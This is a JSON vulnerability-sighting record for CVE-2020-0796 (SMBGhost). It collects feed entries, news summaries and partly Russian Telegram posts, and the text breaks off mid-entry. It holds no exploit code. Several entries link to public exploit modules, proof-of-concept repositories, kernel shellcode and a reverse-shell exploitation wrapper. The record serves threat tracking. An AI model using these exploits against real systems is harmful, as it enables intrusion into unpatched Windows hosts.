{"vulnerability": "CVE-2020-0796", "sightings": [{"uuid": "757574f9-996f-43ef-9a0c-2baffa274f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/48e15610-a505-4067-8dec-4627e36bcbe7", "content": "", "creation_timestamp": "2020-10-14T09:36:45.000000Z"}, {"uuid": "1dc21360-f154-4924-9a8c-c68cd4d12933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/780a2f65-1062-43e5-a617-5a826e27c67d", "content": "", "creation_timestamp": "2020-08-05T06:00:42.000000Z"}, {"uuid": "011b1da3-3526-4451-86b3-9b0ea4c16beb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "6b0d7494-b7bf-477b-9f7b-e6b7e297e40b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971250", "content": "", "creation_timestamp": "2024-12-24T20:26:30.572886Z"}, {"uuid": "66ed6101-d01c-4450-8111-6003bf0d86d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "67626764-83f2-4739-937b-c662eaec51fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2020-0796", "type": "seen", "source": "https://gist.github.com/Cur10s1tyByt3/050c04a0b2a3f4fb4121e1cbae24f70e", "content": "", "creation_timestamp": "2025-01-29T12:59:52.000000Z"}, {"uuid": "74fa3666-9630-44a5-8211-bcb65abb16d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:20.000000Z"}, {"uuid": "1e609e6e-d20f-41ef-931c-9c26f6fd6107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:26.000000Z"}, {"uuid": "7977541a-edd6-4664-b1f2-cb0f4bbc4739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lsp2i6nj6n2k", "content": "", "creation_timestamp": "2025-06-28T21:02:22.481447Z"}, {"uuid": "8b1c5fcf-70c1-423e-8f67-ae3c3142818d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/cve_2020_0796_smbghost.rb", "content": "", "creation_timestamp": "2020-04-03T16:39:48.000000Z"}, {"uuid": "561f881d-042c-420e-8c4f-5c30908606fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb", "content": "", "creation_timestamp": "2021-05-20T22:10:20.000000Z"}, {"uuid": "25e55ad1-5b69-4b3c-909d-5c5d31c509e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/1413a78e-c0b3-4092-97e7-909fb9773448", "content": "", "creation_timestamp": "2025-08-06T13:54:20.000000Z"}, {"uuid": "2cbf2466-ea5d-4ea9-845f-5b8b03f93735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/1413a78e-c0b3-4092-97e7-909fb9773448", "content": "", "creation_timestamp": "2025-08-14T11:44:23.000000Z"}, {"uuid": "882300ef-6a7e-4a9c-9d78-e8c65ece5c20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:42.000000Z"}, {"uuid": "04bba5c3-32a2-4c7e-bb34-89a31adb1b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:57.000000Z"}, {"uuid": "21f89701-0ce4-4587-8ba8-04f77fa8f922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/strikoder/99635df00444bbf5fc90ca83ec8051a0", "content": "", "creation_timestamp": "2025-12-01T12:02:42.000000Z"}, {"uuid": "929b8f85-62a0-473c-80a9-0e68262fb5a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/hpedljo/967b7c7bd60b47351303a6b11d815335", "content": "", "creation_timestamp": "2026-02-11T23:54:29.000000Z"}, {"uuid": "7b0947ea-8488-43b6-92c5-818c946cfa10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/aw-junaid/676778028c81ea4b72359c6ffffdf9e5", "content": "", "creation_timestamp": "2026-02-21T18:14:32.000000Z"}, {"uuid": "4262502c-90af-421f-ad58-99d310657838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=458", "content": "", "creation_timestamp": "2020-03-11T04:00:00.000000Z"}, {"uuid": "ec557794-4f43-4240-bfba-8facff773463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://bsky.app/profile/gitrated.bsky.social/post/3mi44kmttq725", "content": "", "creation_timestamp": "2026-03-28T07:33:13.234687Z"}, {"uuid": "c57dcdbf-0824-4a68-92b7-eb016396032f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f9e202ca-7c63-4da8-86e3-3ba528ec5b39", "content": "", "creation_timestamp": "2026-02-02T12:28:23.960939Z"}, {"uuid": "351e072b-49d7-470d-819c-a0a4ac5e1764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/srv_admin/281", "content": "\u041d\u043e\u0432\u0430\u044f \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 smb \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b\u0430. \u042f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e \u043d\u0435\u0439 \u0443\u0437\u043d\u0430\u043b. \u041f\u0440\u0438\u0447\u0435\u043c \u0434\u043b\u044f \u043d\u0435\u0435 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442. \u041f\u0440\u0438\u043c\u0435\u0440 \u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u0435\u043c\u043a\u0435 - https://xakep.ru/wp-content/uploads/2020/06/307087/CVE-2020-0796-RCE-POC-demo.gif \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u0425\u0430\u043a\u0435\u0440\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c - https://xakep.ru/2020/06/11/smbleed/ \u041d\u0430\u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f, \u043d\u0435 \u043e\u0442\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044f.", "creation_timestamp": "2020-06-15T07:14:50.000000Z"}, {"uuid": "8bb5afff-4935-49c2-ac80-df5941c36532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/antichat/8058", "content": "\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432 SMB v3: CVE-2020-0796\nhttps://habr.com/ru/post/491964/?utm_campaign=491964&utm_source=habrahabr&utm_medium=rss", "creation_timestamp": "2020-03-12T06:31:37.000000Z"}, {"uuid": "8e748935-60e5-46d7-a741-b435816b63e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/orderofsixangles/1573", "content": "Full SMB Ghost KernelShellCode\n\nhttp://www.whsgwl.net/code/CVE-2020-0796_KernelShellCode.asm", "creation_timestamp": "2021-09-01T07:15:38.000000Z"}, {"uuid": "0da8168e-2b91-4bc0-9260-61d9c6867255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/RfP-6g3PRC3zxTuKh1hIEXR_naUVe0ey42H849a_qcjjhUc", "content": "", "creation_timestamp": "2025-09-22T03:00:06.000000Z"}, {"uuid": "8c965410-198a-4989-8f82-26ee7fdde842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/BleepingComputer/6956", "content": "48K Windows Hosts Vulnerable to SMBGhost CVE-2020-0796 RCE Attacks\n\nAfter an Internet-wide scan, researchers at\u00a0cybersecurity\u00a0firm\u00a0Kryptos Logic discovered roughly 48,000 Windows 10 hosts vulnerable to attacks targeting the\u00a0pre-auth remote code execution CVE-2020-0796\u00a0vulnerability found in Microsoft Server Message Block 3.1.1 (SMBv3). [...]\n\nhttps://www.bleepingcomputer.com/news/security/48k-windows-hosts-vulnerable-to-smbghost-cve-2020-0796-rce-attacks/", "creation_timestamp": "2020-03-12T18:47:24.000000Z"}, {"uuid": "302f694e-2a0d-46fe-a564-9aa3ae147c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/BleepingComputer/6947", "content": "Microsoft Leaks Info on Wormable Windows SMBv3 CVE-2020-0796 Flaw\n\nMicrosoft leaked info on a security update for a 'wormable' pre-auth remote code execution vulnerability found in the Server Message Block 3.0 (SMBv3) network communication protocol that reportedly should have been disclosed as part of this month's Patch Tuesday. [...]\n\nhttps://www.bleepingcomputer.com/news/security/microsoft-leaks-info-on-wormable-windows-smbv3-cve-2020-0796-flaw/", "creation_timestamp": "2020-03-10T23:02:59.000000Z"}, {"uuid": "3c04c0b2-e14e-4c3e-b382-042320d25430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/BleepingComputer/7491", "content": "Windows 10 SMBGhost bug gets public proof-of-concept RCE exploit\n\nWorking exploit code that achieves remote code execution on Windows 10 machines is now publicly available for CVE-2020-0796, a critical vulnerability in Microsoft Server Message Block (SMB 3.1.1). [...]\n\nhttps://www.bleepingcomputer.com/news/security/windows-10-smbghost-bug-gets-public-proof-of-concept-rce-exploit/", "creation_timestamp": "2020-06-05T18:45:25.000000Z"}, {"uuid": "2275101c-b36b-4117-8add-4e4d09fba4e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/BleepingComputer/7185", "content": "Windows 10 SMBGhost RCE exploit demoed by researchers\n\nA proof-of-concept remote code execution (RCE) exploit for the Windows 10 CVE-2020-0796 'wormable' pre-auth remote code execution vulnerability was developed and demoed today by researchers at Ricerca Security. [...]\n\nhttps://www.bleepingcomputer.com/news/security/windows-10-smbghost-rce-exploit-demoed-by-researchers/", "creation_timestamp": "2020-04-20T19:22:55.000000Z"}, {"uuid": "8e518d5d-7076-4444-9976-8ef54647124d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/mj_jLe9zF98qzP0muEndiIzcXIIQUKzfoVd9IRjGpm0", "content": "", "creation_timestamp": "2020-03-13T22:39:49.000000Z"}, {"uuid": "3726a4f9-3c43-4255-9afd-22e24d22c323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/open_source_friend/52", "content": "SMBGhost\n\n\u041f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u043d\u0430 \u043f\u0438\u0442\u043e\u043d\u044f\u0447\u0435\u043c \u0434\u043b\u044f CVE-2020-0796 - SMBv3 RCE.\n\n\u042d\u0442\u043e \u0434\u044b\u0440\u043a\u0430 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 10 \u0438 Windows Server, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b Microsoft Server Message Block 3.1.1 (SMBv3). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 SMB-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 SMB-\u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\nhttps://github.com/ollypwn/SMBGhost", "creation_timestamp": "2025-07-18T07:40:07.000000Z"}, {"uuid": "270e1773-7343-4bcb-aa5c-f7d388ad3a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1914", "content": "CVE-2020-0796\nWindows SMBv3 LPE Exploit\nhttps://github.com/danigargu/CVE-2020-0796\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-07-05T13:00:57.000000Z"}, {"uuid": "1887ba62-49a9-47e0-a1fa-e368ebc14a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/poxek/1203", "content": "CVE-2020-0796 PoC aka CoronaBlue aka SMBGhost\n\u042d\u0442\u043e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u043c\u0443 \u0443\u0437\u043b\u0443 \u0438 \u0441\u0436\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0441 \u043f\u043b\u043e\u0445\u0438\u043c \u043f\u043e\u043b\u0435\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0431\u0443\u0444\u0435\u0440\u0430 \u0434\u0435\u043a\u043e\u043c\u043f\u0440\u0435\u0441\u0441\u043e\u0440\u0430 \u0438 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u043c\u0443 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u0437\u043b\u0430.\nhttps://github.com/eerykitty/CVE-2020-0796-PoC\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-04-01T18:01:24.000000Z"}, {"uuid": "7a887f83-cf2b-45f0-a5aa-a14f4cccfd3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1877", "content": "Custom NSE scripts\nCVE-2020-0796\nNSE \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2020-0796, \u0432 Microsoft SMBv3 Compression (aka coronablue, SMBGhost).  \u0421\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 smb-protocols.nse \u0441 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f v3.11 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 CVE-2020-0796.\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435: \u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2020-0796 \u0432 SMBv3 \u0438 \u043d\u0435 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0432\u0435\u0440\u0445 \u044d\u0442\u043e\u0433\u043e.\nhttps://github.com/psc4re/NSE-scripts\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-07-01T09:01:49.000000Z"}, {"uuid": "ba49dc52-ba09-4d33-85db-78d1e225c2ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/poxek/2628", "content": "CVE-2020-0796\n\nWindows SMBv3 LPE Exploit\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c Microsoft SMB 3.1.1. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 SMBv3-\u0441\u0435\u0440\u0432\u0435\u0440. \u0427\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 SMBv3-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0435\u043c\u0443.\n\n#CVE #POC", "creation_timestamp": "2022-12-14T17:06:47.000000Z"}, {"uuid": "3b2f7036-c831-4224-833c-d92cbd451725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/poxek/2751", "content": "SMBGhost (CVE-2020-0796) Automate Exploitation and Detection\n\n\u042d\u0442\u043e\u0442 python-\u0441\u043a\u0440\u0438\u043f\u0442 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0440\u0442\u043a\u043e\u0439 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 RCE SMBGhost. \u0412\u0441\u0435 \u0437\u0430\u0441\u043b\u0443\u0433\u0438 \u0437\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 - chompie1337. \u0412\u0441\u0435 \u0437\u0430\u0441\u043b\u0443\u0433\u0438 \u0437\u0430 \u0441\u043a\u0430\u043d\u0435\u0440 - ioncodes.\n\u042f \u043f\u0440\u043e\u0441\u0442\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b \u044d\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435. \u0412\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0432 \u0432\u0438\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 Windows-\u043c\u0438\u0448\u0435\u043d\u0438, \u043a\u043e\u0433\u0434\u0430 \u0432\u044b \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443.\n\n\u042d\u0442\u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f 